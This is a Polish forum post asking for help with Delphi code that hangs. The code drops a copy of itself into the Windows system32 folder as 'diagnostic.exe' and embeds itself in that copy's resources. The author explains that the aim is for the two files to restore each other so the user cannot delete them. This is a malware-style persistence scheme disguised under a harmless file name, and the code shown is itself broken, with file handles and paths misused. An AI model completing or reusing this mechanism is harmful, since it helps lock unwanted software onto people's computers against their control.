Witam.
Mam taki oto kod:
if not FileExists(system+'\diagnostic.exe') then
begin
Res := TResourceStream.Create(hInstance, 'h', RT_RCDATA);
Res.SaveToFile(system+'\diagnostic.exe');
Res.Free;
CopyFile(PAnsiChar(ExtractFilePath(Application.ExeName)), 'D:\main.exe', False);
H:= BeginUpdateResource(PChar(system+'\diagnostic.exe'), True);
FH:= cardinal(system+'\diagnostic.exe');
Size:= GetFileSize(FH, nil);
GetMem(Buf, Size);
ReadFile(FH, Buf^, Size, BR, nil);
CloseHandle(FH);
UpdateResource(h, RT_RCDATA, 'D:\main.exe', MAKEWord(LANG_NEUTRAL, SUBLANG_NEUTRAL), Buf, Size);
FreeMem(Buf);
EndUpdateResource(H, False);
end;
To teraz wytłumacze dokładnie co miałem zamiar zrobić gdy zklejałem ten kod: Co chwile za pomocą timera program bada czy podany plik istnieje(plik tj c:\windows\system32\diagnostic.exe). Jeśli nie istnieje wypakowuje z zasobów jego kopie ale dodatkowo dodaje do jej zasobów swoją kopie. Ten plik diagnostic.exe to odpowiednik tego pliku w którym jest ten kod. Wszystko ma na celu niemożliwość usunięcia plików. Bo gdy jeden się usunie drugi go przywraca dodając do niego swoją kopoie aby ten "mógł się odwdzięczyć". :-P I właśnie tu jest cały problem. Gdy dochodzi do próby dopisania źródła program się blokuje. Nie wiem co robić. Szukałem już innych problemów tego typu na forach ale raczej nikt się z czymś takim nie spotkał. Prosze o pomoc.
//pozdrawiam
PS: Oto fotka błędu: